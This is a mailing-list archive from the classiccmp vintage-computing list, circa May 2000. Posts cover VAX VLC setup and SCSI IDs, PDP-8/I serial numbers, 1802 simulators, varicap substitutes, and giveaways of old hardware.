18:52:13 2005 Subject: OT: BB205 Varicap In-Reply-To: <390D0C3E.AA34334@rain.org> Message-ID: On Sun, 30 Apr 2000, Marvin wrote: > I am looking for a BB205 Varicap, but so far have not been able to find it > or the data sheets. It appears to be an SOT-23 sized surface mount device. I > would also be MOST interested in knowing what the capacitance range is for > the given voltage range. FWIW, this is for the tuning circuit in an 80M > Direction Finding Receiver. Thanks. sounds like a euro part number. My guess is its in the 40-120pf range. As a hack try a 1n4005 rectifier, they work ok as varicaps. Also the collector base junction reverse biased of a 2n2219[and many other SI transistors] is usable for that. Allison From west at tseinc.com Mon May 1 07:57:45 2000 From: west at tseinc.com (Jay West) Date: Sun Feb 27 18:52:13 2005 Subject: IBM systems available Message-ID: <002f01bfb36c$d881fa60$d402a8c0@tse.com> First, my apologies to all who have been trying to reach me (classiccmp related) over the past two weeks - we're in the middle of moving our datacenter (still) and I've been unable to check my personal email let alone respond to it. By the end of this week I hope to respond to all emails... Second - I have been asked to pick up two ibm systems, each from a different source. One I know is an IBM 36, the other is either a 36 or 38. Both systems were just decomissioned and known to be working. One of them definitely includes a lot of documentation, I don't know about the other. Here's the problem - I have no interest in these systems whatsoever, and most importantly I do NOT have ANY room to store them except perhaps for a week - no more. If anyone wants these systems, please contact me at jlwest@tseinc.com quickly, as the owners want them moved immediately. Both owners have clearly stated the systems are available at no charge. I'm just not up for packaging and shipping these beasts myself. Both systems are in the Metro St. Louis, Missouri area. Any takers? Jay West From CLASSICCMP at trailing-edge.com Mon May 1 08:03:26 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:52:13 2005 Subject: Tiny Cluster (VMS) ? Message-ID: <000501090326.2020042d@trailing-edge.com> >Ok, so I've got two VLC's and I want to see if I can cluster them over >ethernet. This is a precursor to installing the 3400's to be a local >cluster over DSSI. What document do I start in? > >I'm guessing that I somehow need to get MOP running on the VMS system and >to tell it the ethernet address of the other VLC so that when it MOPs for >an image the cluster will respond. It's all very easy: login as SYSTEM, do a @CLUSTER_CONFIG, and answer the questions. You'll need to know the Ethernet hardware address of each satellite, of course, but otherwise it's easy to set up a basic cluster this way. Of course, there are also "non-basic" clusters, but you gotta start with the simple stuff first. Tim. From pete at dunnington.u-net.com Mon May 1 08:33:30 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:52:13 2005 Subject: Classic Databooks and Manuals available In-Reply-To: pete@indy (Pete Turnbull) "Re: Classic Databooks and Manuals available" (May 1, 8:36) References: <3.0.3.32.20000430192151.009af890@agora.rdrop.com> <10005010936.ZM1208@indy.dunnington.u-net.com> Message-ID: <10005011433.ZM1355@indy.dunnington.u-net.com> On May 1, 8:36, Pete Turnbull wrote: > On Apr 30, 19:21, James Willing wrote: > > Trying to clear some space in the 'Garage' yet again Oh, spit, that was supposed to go to Jim, not the list. Sorry. -- Pete Peter Turnbull Dept. of Computer Science University of York From dylanb at sympatico.ca Mon May 1 12:40:29 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:52:13 2005 Subject: PDP-8/i Help needed References: <20000419220805.3545.qmail@hotmail.com> Message-ID: <003701bfb394$58b8c8e0$fd83fea9@office> ----- Original Message ----- From: Will Jennings To: Sent: Wednesday, April 19, 2000 6:08 PM Subject: PDP-8/i Help needed > Hi, > OK I have an 8/i, but now I have a lot of questions; first, where the heck > is the serial number on the dumb thing? The PDP-8/I is not a dumb thing. Quite an advanced low-cost minicomputer for 1968. The serial number is located where all other DEC serial numbers are - The little steel tag with the model number. The number after it is the serial number. They only made 4000 units so yours should be somewhere under that. >The top of the main frame seems to > be the listing for the options and serial numbers, i.e. "KW8I 532," "MC8IA > 1877," and "KP8I 774." I know this means it has/had another 4K of memory, > the power fail/auto restart, and the RTC. On the back of the main frame, it > has one more serial plate, though it looks like there used to be another > one. It reads "M26 8I L3213." Is there any way to determine the stupid Probably #3213. > thing's serial number or is it there or ??? I have reason to believe that > it's a fairly early machine, since it's a Negibus 8/i, and some of the chip Most were negibus, even some of the final units knocked out. They later produced PDP-8/Is with posibus/posi converters. I haven't found a PDP-8/I with posibus yet. BTW: Has anyone ever seen the add-on to use OMNIBUS memory? > dates are from late '68/early '69. I'd appreciate not being outbid on the 4K > PDP-8 core stack on Ebay, as I need it to have the full 8K that it once had. I would appreciate it if you would not bid on eBay at all. You rarely pay for anything and have been kicked off twice for bidding on many items and never paying. I have had to pay more for an item to outbid you only to find out you didn't pay for any of the other items you were bidding on. When I have been outbid by you in the past, the seller has contacted me to see if I want it as you have never sent the money :-( Bid with your head - not over it. > Does anyone have any real docs for the beast they could part with? I mean > originals, yes I greatly appreciate highgate, but since I plan to have a > museum at some point, I really do need the real things. Not to mention that > I don't have the equipment to print a D-size drawing (the module utilization It's going to take a while to find original prnts as they only made a few thousand PDP-8/I minicomputers. Best get the minicomputer running with highgate prints and wait for a set to surface later. I have learned to be patient - if you want it you will find it. > chart). I also need the trim piece for the top of the rack it lives in (the > old black 6'4" style). While I'm at it, I have no manuals for my 11/34A or > my VAX-11/750.. > > Will J > ______________________________________________________ > Get Your Private, Free Email at http://www.hotmail.com > > From af-list at wfi-inc.com Mon May 1 12:08:45 2000 From: af-list at wfi-inc.com (Aaron Christopher Finney) Date: Sun Feb 27 18:52:13 2005 Subject: OT: The Drop Squad In-Reply-To: Message-ID: Ouch, This brought back painful memories. I used to live across the street from one of the JPL buildings in Pasadena, and they had a 5 or 6 level parking structure that we'd ride our skateboards in. Well, once someone left a chair sitting on top (lazy-boy type) and the temptation got us: over it went, onto the sidewalk. The following weeks didn't turn anything up, so we started taking things over to drop. Then, one day, we stumbled on an automobile wheel (tire, rim, fully inflated) left by the railroad tracks. As fast as we could, we wheeled it down the street and up to the top of the parking lot, giggling the whole time. We rolled it off the top so it would stay upright...which it did. Christ. It bounced at least 20 feet back up in the air before coming down...right on the top of somebody's car. Windshield - shattered, along with the driver and passenger windows. There was a loud crash and the alarm going off, and a car wheel imbedded in the top of the car. Needless to say, like any 14 year olds, we hauled ass out of there - running right into a security guard at the bottom of the stairs. Ultimately, the guy who owned the car was the coolest man who ever lived. He told us that he'd been 14 once and that his insurance would pay for it. And that if he saw us in the parking lot again (which we steered clear of), he'd have us arrested on the spot... Cheers, Aaron From aek at spies.com Mon May 1 12:29:07 2000 From: aek at spies.com (Al Kossow) Date: Sun Feb 27 18:52:13 2005 Subject: PDP-8/i Help needed Message-ID: <200005011729.KAA13390@spies.com> "I would appreciate it if you would not bid on eBay at all. You rarely pay for anything and have been kicked off twice for bidding on many items and never paying." Ditto from me, Will. You cost me several hundred dollars on the fiche and VT11 paper tapes. I make everything that I have available to the collecting community. So far I see no evidence that you are anything other than a collecting black hole, and see little reason to offer any direct help to you at all. From af-list at wfi-inc.com Mon May 1 12:36:52 2000 From: af-list at wfi-inc.com (Aaron Christopher Finney) Date: Sun Feb 27 18:52:13 2005 Subject: OT: WebSurfer (New Linux-able web box) Message-ID: All the details are here: http://www.linux-hacker.net/websurfer/ws.html I believe they cost around $50 at CompUSA. Cheers, Aaron From kyrrin at bluefeathertech.com Mon May 1 13:10:50 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:52:14 2005 Subject: OT: The Drop Squad In-Reply-To: References: Message-ID: <3.0.5.32.20000501111050.00943890@mail.bluefeathertech.com> At 10:08 01-05-2000 -0700, you wrote: >Ultimately, the guy who owned the car was the coolest man who ever lived. >He told us that he'd been 14 once and that his insurance would pay for it. >And that if he saw us in the parking lot again (which we steered clear >of), he'd have us arrested on the spot... The moral of the story is: If there's a risk of hitting anyone, or anything that's particularly valuable, either move to another drop-spot and/or post lookouts to keep the curious at a safe distance. I will add that I maintain a pretty strict set of guidelines for any drops that I happen to do. Anything that might cause permanent damage (other than to the item being dropped, of course) is right out, as is anything that poses an uncontrollable risk to life or safety. Sorry to hear about the fellow's car, but I'm glad he was cool about it. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner and head honcho, Blue Feather Technologies http://www.bluefeathertech.com // E-mail: kyrrin@bluefeathertech.com Amateur Radio: WD6EOS since Dec. '77 "Our science can only describe an object, event, or living thing in our own human terms. It cannot, in any way, define any of them..." From healyzh at aracnet.com Mon May 1 14:17:28 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:52:14 2005 Subject: Weird question, VAX VS4000/VLC In-Reply-To: <4.3.1.2.20000429000540.03004ef0@208.226.86.10> References: <4.3.1.2.20000428210221.02e26830@208.226.86.10> Message-ID: >At 11:06 PM 4/28/00 -0700, Zane wrote: >>I believe it's two different types of RAM tests, it sounds like the one has >>the abbreviated search set. > >Yup, > >>> SET FBOOT 1 >is the answer. >--Chuck I just got my VLC a few minutes ago, and boy does the above setting make a HUGE difference. On the downside I've got to leave for work in a few minutes so won't be able to play with it until tonite. Now for my wierd VLC question. DKA700 ?!?!? Shouldn't a disk set to SCSI ID #7 cause problems? At least tonite after work I'll finally be able to start my project! First step will be adding a 2GB HD (what the hey, it's the only thing bigger than the RZ23L in it that will fit that I don't currently have in use), and loading out VMS. I'm dying to see how DECwindows performs on this sucker! This is now my fastest operational VAX :^) Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From kyrrin at bluefeathertech.com Mon May 1 14:37:32 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:52:14 2005 Subject: FS: Mid-size 19" equipment rack Message-ID: <3.0.5.32.20000501123732.00958e40@mail.bluefeathertech.com> This is being sent to both the CLASSICCMP and port-VAX lists since both are likely to contain people who use rack-mount hardware. Hi, folks, Time to get rid of a rack, methinks. I have one available that's 57" high (just under 5 feet) by 24.5" deep. It's enclosed, with a rear door, has wheels, and it also has a big honker of a filtered cooling fan mounted in the bottom. For power, it has a Wiremold-brand power strip mounted vertically in the back. The front and back rails are drilled and tapped for standard 10-32 rack screws. DEC used a zillion of 'em in most of their older products. Price: $50 or best offer. I'll also consider trades for (physically) smaller stuff. LOCAL PICKUP ONLY in Kent, WA (southeast of Seattle). Sorry, but there's no way I can ship this beast, not unless somebody wants to pay way more than it's probably worth for palletizing and freight. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner and head honcho, Blue Feather Technologies http://www.bluefeathertech.com // E-mail: kyrrin@bluefeathertech.com Amateur Radio: WD6EOS since Dec. '77 "Our science can only describe an object, event, or living thing in our own human terms. It cannot, in any way, define any of them..." From mgregory at vantageresearch.com Mon May 1 15:03:58 2000 From: mgregory at vantageresearch.com (Mark Gregory) Date: Sun Feb 27 18:52:14 2005 Subject: Followup to: Can a Mac Portable battery be "trickle charged"? Message-ID: <012a01bfb3a8$6301c040$0200a8c0@marvin> Thanks to everyone for the interesting discussion on lead-acid batteries. I seem to have gotten lucky with my new Portable. After two days of charging at 300 mA, the Portable fires right up, and loads System 7.5 from the 40 meg internal HD. The system also has the Apple 3 MB RAM expansion installed, for a total of 4 MB RAM. No backlighting, though. The only side effect of being long-dead seems to be a fairly fast drain on the battery when the system is off and not plugged in to the adapter; I'll have to experiment to see if this is due to the system going into sleep mode rather than powering down completely, or whether the battery isn't holding it's charge. I'm still hunting for a Portable AC adapter and/or replacement battery locally; if I can't find one, I may contact one of the list members who indicated they may have one for sale or trade. Thanks to all. Regards, Mark Gregory From cmcmanis at mcmanis.com Mon May 1 15:37:20 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:14 2005 Subject: Weird question, VAX VS4000/VLC In-Reply-To: References: <4.3.1.2.20000429000540.03004ef0@208.226.86.10> <4.3.1.2.20000428210221.02e26830@208.226.86.10> Message-ID: <4.1.20000501133158.04608d60@mailhost.hq.freegate.com> At 12:17 PM 5/1/00 -0700, Zane wrote: >I just got my VLC a few minutes ago, and boy does the above setting make a >HUGE difference. This is very true. Its unclear what we give up by doing it however. I guess what I would like is a "do the full test every 10 boots or so." Anyone have the VLC manual handy? >Now for my wierd VLC question. DKA700 ?!?!? Shouldn't a disk set to SCSI >ID #7 cause problems? Nope. The VLC sets the CPU's internal SCSI address to 6 for some reason (don't try putting a Sun CD on it without checking!) Unlike machines with dual SCSI busses the internal bus is not terminated so you will need an external terminator. And because the ethernet is so close to the SCSI connector you may only be able to use the DEC brand terminator which is narrow along the sides. Mine was missing one and until I stole one off the TZ50 I had a ribbon cable one kludged in. I am still looking for a VLC disk tray if anyone has one. >At least tonite after work I'll finally be able to start my project! First >step will be adding a 2GB HD (what the hey, it's the only thing bigger than >the RZ23L in it that will fit that I don't currently have in use), and >loading out VMS. I'm dying to see how DECwindows performs on this sucker! I'm not quite there yet but I have ordered the Montagar CD with the layered products on it and VMS 7.2. >This is now my fastest operational VAX :^) 6 vups and counting! --Chuck From kyrrin at bluefeathertech.com Mon May 1 16:24:05 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:52:14 2005 Subject: Free (almost) to good home... Message-ID: <3.0.5.32.20000501142405.0095b640@mail.bluefeathertech.com> By 'Almost,' I meant just for postage ($3.20 Priority Mail). I have, still with the tape in its shrink-wrap, the 'Personal Application Kit' for the NEC PC-8201A portable. Got the manual with it as well. First one with an offer to cover postage gets it! Thanks. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner and head honcho, Blue Feather Technologies http://www.bluefeathertech.com // E-mail: kyrrin@bluefeathertech.com Amateur Radio: WD6EOS since Dec. '77 "Our science can only describe an object, event, or living thing in our own human terms. It cannot, in any way, define any of them..." From mtapley at swri.edu Mon May 1 17:04:40 2000 From: mtapley at swri.edu (Mark Tapley) Date: Sun Feb 27 18:52:14 2005 Subject: classiccmp-digest V1 #148 In-Reply-To: <200004302246.RAA05679@opal.tseinc.com> Message-ID: Hello, A DEC Rainbow in Vancouver. (Kevin?) Get it while it's hot! Alan said "...as you see fit" and I don't know many groups fitter than this. If you *have* a RB but not MS-DOS 3.10B, you likely want the latter at least. - Mark >Date: Mon, 1 May 2000 13:10:57 -0700 (PDT) ... >Subject: Surplus Rainbow > >Hi Mark. Thanks, I've found no interest locally yet, so spread the word >as you see fit: > >Free for pickup in Victoria, B.C. on Vancouver Island: > >(I could get it to the mainland sometime or have it picked up by a >forwarding agent in Victoria if they handle *all* the packing and >processing.) > >Rainbow 100A in working condition in tower case, VR201 monitor (occasional >rolling), LK201 keyboard, Letterwriter 100 printer (untested) > >cable, ribbon, installation manual, owner's manual, user's guide, MS-DOS >introduction even the floppy disk inserts that say "Save this card". > >DOS 3.10b for the Rainbow, a variety of utility programs and games but no >*real* software but there's shareware available. > >For those who don't know, this is *not* compatible with IBM-PCs. The >diskettes cannot be interchanged although there is a utility to allow >reading Rainbow diskettes in a PC drive. So, unless someone likes to >play, it's probably a museum piece. > >Contact Alan at yjNOSPAM105@victoria.tc.ca (remove NOSPAM) From kyrrin at bluefeathertech.com Mon May 1 17:46:29 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:52:14 2005 Subject: Personal App Kit: Claimed! Message-ID: <3.0.5.32.20000501154629.0095ea10@mail.bluefeathertech.com> George Currie was the lucky(?) claimant, though Doug Salot came in a close second. Thanks, folks! -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner and head honcho, Blue Feather Technologies http://www.bluefeathertech.com // E-mail: kyrrin@bluefeathertech.com Amateur Radio: WD6EOS since Dec. '77 "Our science can only describe an object, event, or living thing in our own human terms. It cannot, in any way, define any of them..." From af-list at wfi-inc.com Mon May 1 18:20:40 2000 From: af-list at wfi-inc.com (Aaron Christopher Finney) Date: Sun Feb 27 18:52:14 2005 Subject: IBM MT/ST Commercial "The Paperwork Explosion" Message-ID: Hi all, Just received my previously-mentioned Raymond Scott "Manhattan Research" CD-Set/Book and it's incredible. Wow. On-topic, it has the soundtrack to an industrial film for the MT/ST from 1967. In there is Jim Henson's voice announcing, "Used systematically throughout an office, these two pieces of IBM equipment alone have increased people's productivity by 50%." If anyone is interested in hearing it, maybe I could post a couple of snippets as mp3 files or something...just let me know. Cheers, Aaron From allisonp at world.std.com Mon May 1 17:19:12 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:14 2005 Subject: Weird question, VAX VS4000/VLC Message-ID: <002401bfb3bc$1fff6cc0$6d64c0d0@ajp166> >Now for my wierd VLC question. DKA700 ?!?!? Shouldn't a disk set to SCSI >ID #7 cause problems? VAXen with SCSI seem for reasons I've forgotten to be always set as host at 6 so a device at 0-5 and 7 are ok. It wasn't until I'd seen PC SCSI that i'd ever seen a host at 7! >step will be adding a 2GB HD (what the hey, it's the only thing bigger than >the RZ23L in it that will fit that I don't currently have in use), and >loading out VMS. I'm dying to see how DECwindows performs on this sucker! It hauls! Check on this, I think that machime may not have the problem but older SCSI vaxen have a limit of 1.07gb for the boot disk. Has to do with how VMS uses the boot rom driver if it has to do a core dump on crash. I run a VS3100M76 (7.8vup) and DW runs really well on it. Allison From at258 at osfn.org Mon May 1 18:54:33 2000 From: at258 at osfn.org (Merle K. Peirce) Date: Sun Feb 27 18:52:14 2005 Subject: Free (almost) to good home... In-Reply-To: <3.0.5.32.20000501142405.0095b640@mail.bluefeathertech.com> Message-ID: Anyone interested in IBM manual 6322959, Guide to Operations (IBM PCjr)? No slipcase. IBM 6024120 DOS (2.10)? M. K. Peirce Rhode Island Computer Museum, Inc. 215 Shady Lea Road, North Kingstown, RI 02852 "Casta est qui nemo rogavit." - Ovid From kstumpf at unusual.on.ca Mon May 1 19:09:12 2000 From: kstumpf at unusual.on.ca (Kevin Stumpf/Unusual Systems) Date: Sun Feb 27 18:52:14 2005 Subject: IBM MT/ST Commercial "The Paperwork Explosion" References: Message-ID: <019601bfb3ca$a8beb760$ae89b7d1@kstumpf> Hello Aaron. I have atn IBM Mag Card Word Processing - next generation to the MT/ST. Please tell me more about "Raymond Scott "Manhattan Research" CD-Set/Book". Thank you. Kevin Stumpf - The Nostalgic Technophile www.unusual.on.ca - 519.744.2900 EST/EDT (GMT - 5) Author & Publisher of The Guide to Collecting Computers and Computer Collectibles: History, Practice, and Technique From kbd at ndx.net Mon May 1 19:43:20 2000 From: kbd at ndx.net (Kirk Davis) Date: Sun Feb 27 18:52:14 2005 Subject: COSMAC 1802 Simulator In-Reply-To: <019601bfb3ca$a8beb760$ae89b7d1@kstumpf> Message-ID: Ugh - I spent some time writing a 1802 simulator and wanted to get Tiny Basic going on it. I just went though my manuals and I have the Basic manual, but have seemed to lost the hex dump for the Basic Interpreter itself. Does anyone on the list have any hex dumps (or binary files) for 1802 programs? I'd like to get some other things going besides the simple ELF programs. I'm going to post the simulator (source and all) when I get something interesting going. Thanks, Kirk From allisonp at world.std.com Mon May 1 20:44:46 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:14 2005 Subject: COSMAC 1802 Simulator Message-ID: <004301bfb3d8$11327310$6d64c0d0@ajp166> -----Original Message----- From: Kirk Davis >Ugh - I spent some time writing a 1802 simulator >and wanted to get Tiny Basic going on it. I just went That was poor planning. ;) >though my manuals and I have the Basic manual, but have >seemed to lost the hex dump for the Basic Interpreter itself. Well if someone else doesn't drop a box of stuff on you I have Quest TB for the 1802 somewhere safe. I can zap a copy of the dump. But you can't have the paper tape! Allison From mrbill at mrbill.net Mon May 1 21:39:19 2000 From: mrbill at mrbill.net (Bill Bradford) Date: Sun Feb 27 18:52:14 2005 Subject: VHS to MPG/AVI/Quicktime conversion? Message-ID: <20000501213919.W12705@mrbill.net> Anybody on these lists have the ability to digitize/convert video from VHS tape (NTSC) to a computer-readable (MPG preferred, but AVI or Quicktime would also work) format? I've got the official Sun video tape of the SPARCstation 10 product announcement from '92, and I'd like to be able to put it up on the SunHELP historical-product archives.... Thanks. Bill -- +--------------------+-------------------+ | Bill Bradford | Austin, Texas | +--------------------+-------------------+ | mrbill@sunhelp.org | mrbill@mrbill.net | +--------------------+-------------------+ From dogas at leading.net Mon May 1 22:09:11 2000 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:52:14 2005 Subject: COSMAC 1802 Simulator Message-ID: <000e01bfb3e3$cc930b00$ca646464@dogclient01> Pretty funny.... Or I guess synchronistic, I guess. I just got my 1802 simulator past the first milepost tonight (It's two days old). It'll process all the Cosmac's instruction's, show registers, and deposit to and examine ram. I could use a few beta testers if you happen to know cosmac machine code. it's at: http://users.leading.net/~dogas/classiccmp/cosmac/cosmac.htm Tomorrow night, I'll add arbitrary ram block saves and loads from disk and a mini assember if things go fast. Eventally, I'll add a nice GUI to it and clean up the code that I'm muddling around with. Cheers - Mike: dogas@leading.net -----Original Message----- From: allisonp To: classiccmp@classiccmp.org Date: Monday, May 01, 2000 11:02 PM Subject: Re: COSMAC 1802 Simulator > >-----Original Message----- >From: Kirk Davis > > >>Ugh - I spent some time writing a 1802 simulator >>and wanted to get Tiny Basic going on it. I just went > > >That was poor planning. ;) > >>though my manuals and I have the Basic manual, but have >>seemed to lost the hex dump for the Basic Interpreter itself. > > >Well if someone else doesn't drop a box of stuff on you I have >Quest TB for the 1802 somewhere safe. I can zap a copy of >the dump. But you can't have the paper tape! > > >Allison > From rhblake at bigfoot.com Mon May 1 22:46:22 2000 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:52:14 2005 Subject: Thinkpad 720 AC adapter References: <20000430163501.V12705@mrbill.net> Message-ID: <390E4F8E.601F81E@bigfoot.com> No go on the adapter - opened it up and most of the internals are fried. I'll keep an eye out for one for Bill in my travels. Bill Bradford wrote: > Anybody know where I can find an AC adapter for a Thinkpad 720, > or alternately, anyone who has older 486 Thinkpad(s) for sale *cheap* ? > > Thanks. > > Bill > > -- > +--------------------+-------------------+ > | Bill Bradford | Austin, Texas | > +--------------------+-------------------+ > | mrbill@sunhelp.org | mrbill@mrbill.net | > +--------------------+-------------------+ From kbd at ndx.net Mon May 1 23:01:22 2000 From: kbd at ndx.net (Kirk Davis) Date: Sun Feb 27 18:52:14 2005 Subject: COSMAC 1802 Simulator In-Reply-To: <000e01bfb3e3$cc930b00$ca646464@dogclient01> Message-ID: This is great :-) Nice code BTW. I'm at the same point and started on Sat.... I'll post my code shortly. As I'm sure you know the CPU is really the easy part. The real work is going to be in the GUI. Kirk > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Mike > Sent: Monday, May 01, 2000 8:09 PM > To: classiccmp@classiccmp.org > Subject: Re: COSMAC 1802 Simulator > > > Pretty funny.... Or I guess synchronistic, I guess. I just got my 1802 > simulator past the first milepost tonight (It's two days old). It'll > process all the Cosmac's instruction's, show registers, and deposit to and > examine ram. > > I could use a few beta testers if you happen to know cosmac machine code. > > it's at: > http://users.leading.net/~dogas/classiccmp/cosmac/cosmac.htm > > Tomorrow night, I'll add arbitrary ram block saves and loads from > disk and a > mini assember if things go fast. Eventally, I'll add a nice GUI to it and > clean up the code that I'm muddling around with. > > Cheers > - Mike: dogas@leading.net > > > -----Original Message----- > From: allisonp > To: classiccmp@classiccmp.org > Date: Monday, May 01, 2000 11:02 PM > Subject: Re: COSMAC 1802 Simulator > > > > > >-----Original Message----- > >From: Kirk Davis > > > > > >>Ugh - I spent some time writing a 1802 simulator > >>and wanted to get Tiny Basic going on it. I just went > > > > > >That was poor planning. ;) > > > >>though my manuals and I have the Basic manual, but have > >>seemed to lost the hex dump for the Basic Interpreter itself. > > > > > >Well if someone else doesn't drop a box of stuff on you I have > >Quest TB for the 1802 somewhere safe. I can zap a copy of > >the dump. But you can't have the paper tape! > > > > > >Allison > > From mid at auk.cx Mon May 1 23:11:03 2000 From: mid at auk.cx (Adam Fritzler) Date: Sun Feb 27 18:52:14 2005 Subject: FREE: Sun 3/280 chassis+rack AND 2 Fuji Eagle N2361's Message-ID: Real Sun 3/280 rack. Its probably more useful as a generic 19in rack than it is as a Sun3/280. Complete with fans and power distribution center (not real useful either -- requires 30A outlet). Also includes the 3/280 chassis/cardcage. Also, you get two Fuji Eagles (SMD). You must take these with the rack since 1) I have no where else to put them and 2) I have no where else to put them. (And don't forget 3) They're damned hard to lift straight off the floor.) I'll throw in the SMD controllers if you like. I'm not sure if I still have the original /280 boards, but I could probably find a /260 system board (same exact things) for you if you really really want to bring up the system. (Yes, it does boot off the Eagles. I don't recommend it. Especially in the Arizona summer.) SMD cables included (but you get to figure out the proper way to connect them). All this for free (or best offer!). The condition is that you get to pick them up from my home in Peoria, Arizona. And you have to have a truck thats big enough to haul them. (I hauled it home in a 1979 Chevy Suburban. Its not _too_ bad. Not a job for the for the small and weak, though.) Dimensions for reference: 24in x 36in x 78in. I'm not even going to guess on the weight. You probably want to haul the Eagles in the proper way if you want them to work when you're done. I even have pictures, for the patient: http://www.auk.cx/sun3/pics/280/ (Monitor and keyboard not included.) Please forward this to whoever you think might be interested. I don't want to keep it in my garage over the summer. It gets into and beyond the 120s out there. af --- Adam Fritzler { mid@auk.cx } http://www.auk.cx/~mid/ From cmcmanis at mcmanis.com Mon May 1 23:51:02 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:14 2005 Subject: VAX/VLC firmware upgrade? Message-ID: <4.3.1.2.20000501214731.032afeb0@208.226.86.10> Hello All, I've got two VLCs, I'm running them both headless. They are connected to S1 and S2 of a VT340 terminal. One of them "loses" the terminal sometimes. If try typing nothing is echoed although I can still send stuff to the serial port from a process and it displays. Sometimes I can "fix" it by breaking to the chevron and then typing 'c' (continue). This happens on both VMS and NetBSD so I don't think it is a driver problem. The other VLC doesn't have any issues like this at all. The VLC that has no issues has Firmware 1.5, the one that has issues has Firmware 1.3. I'm wondering if there is a way to flash the firmware? I've got an EPROM programmer but I don't know if there are is anything else I need to do. --Chuck From wrking at tsoft.com Tue May 2 00:09:40 2000 From: wrking at tsoft.com (William King) Date: Sun Feb 27 18:52:14 2005 Subject: follow up: 11/23+ question Message-ID: <000101bfb3f4$9e6d0440$bf01a8c0@dadaboom.com> Thanks to the people who have responded. There is no suffix to the board number. M8189, that's it. I've looked really closely at the soldering of the UART socket. It has the same flow as the rest of the components, so I still think it was manufactured this way. I powered it up tonight and determined that the daughter card is the console port. I connected a terminal and it works as you would expect. The firmware seems to be standard 11/23+ 1.0 firmware. I think I'll just by a 6402 UART and replace the daughter card. Thanks again, Bill From healyzh at aracnet.com Tue May 2 02:08:51 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:52:14 2005 Subject: VAX/VLC firmware upgrade? In-Reply-To: <4.3.1.2.20000501214731.032afeb0@208.226.86.10> Message-ID: >Hello All, > >I've got two VLCs, I'm running them both headless. They are connected to S1 >and S2 of a VT340 terminal. One of them "loses" the terminal sometimes. If >try typing nothing is echoed although I can still send stuff to the serial >port from a process and it displays. Sometimes I can "fix" it by breaking >to the chevron and then typing 'c' (continue). This happens on both VMS and >NetBSD so I don't think it is a driver problem. Any problems with drives going offline? I've spent the last couple hours fighting with this blasted one I just got. Decided it must be the 2GB HD (it's a 3rd party drive) so put the RZ23L in, got a bit farther before it to decided to go off-line. Plus I think it dislikes my 'floater' CD-ROM. This is the CD-ROM I use on *everything* that's SCSI. The wierd thing is, I've used it to load other DEC systems, but I had to flip the blocksize switch, and I'm just about positive I just flipped it to 2048-byte blocks, WTF! I'm starting to think the only way I'll get this system up is to boot it into my cluster as a diskless client! Grrr! BTW, I'm 1.3 on my firmware. | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From cmcmanis at mcmanis.com Tue May 2 02:57:29 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:14 2005 Subject: VAX/VLC firmware upgrade? In-Reply-To: References: <4.3.1.2.20000501214731.032afeb0@208.226.86.10> Message-ID: <4.3.1.2.20000502005115.01a68320@208.226.86.10> >Any problems with drives going offline? I've spent the last couple hours >fighting with this blasted one I just got. Decided it must be the 2GB HD >(it's a 3rd party drive) so put the RZ23L in, got a bit farther before it >to decided to go off-line. No issues in that regard. I'm running the RZ24L that came inside of it. I did get the occasional bit of flakiness before I got it terminated but once that was done loaded VMS and NetBSD just fine. I'm using a Sun CD-ROM to load is (I know, Horrors!) Its only a 2x drive but it does work. >Plus I think it dislikes my 'floater' CD-ROM. This is the CD-ROM I use on >*everything* that's SCSI. The wierd thing is, I've used it to load other >DEC systems, but I had to flip the blocksize switch, and I'm just about >positive I just flipped it to 2048-byte blocks, WTF! I don't think that's the issue. Perhaps your drive is attempting to negotiate disconnect/reconnect behaviour and the VLC isn't telling it not to? What happens with the drive goes off line, just it just hang or is there and error message to that effect? On my M76 I took off the delayed spin-up jumper to insure that the drive was there when probed but I don't think the VLC cares. The other thing of course is to be sure that you're not running one of the drives as ID 6, and perhaps consider moving the disk to a different ID (I don't know if disconnect/recconect might "assume" the computer is 7 but you never know.) >I'm starting to think the only way I'll get this system up is to boot it >into my cluster as a diskless client! Grrr! Should work :-) >BTW, I'm 1.3 on 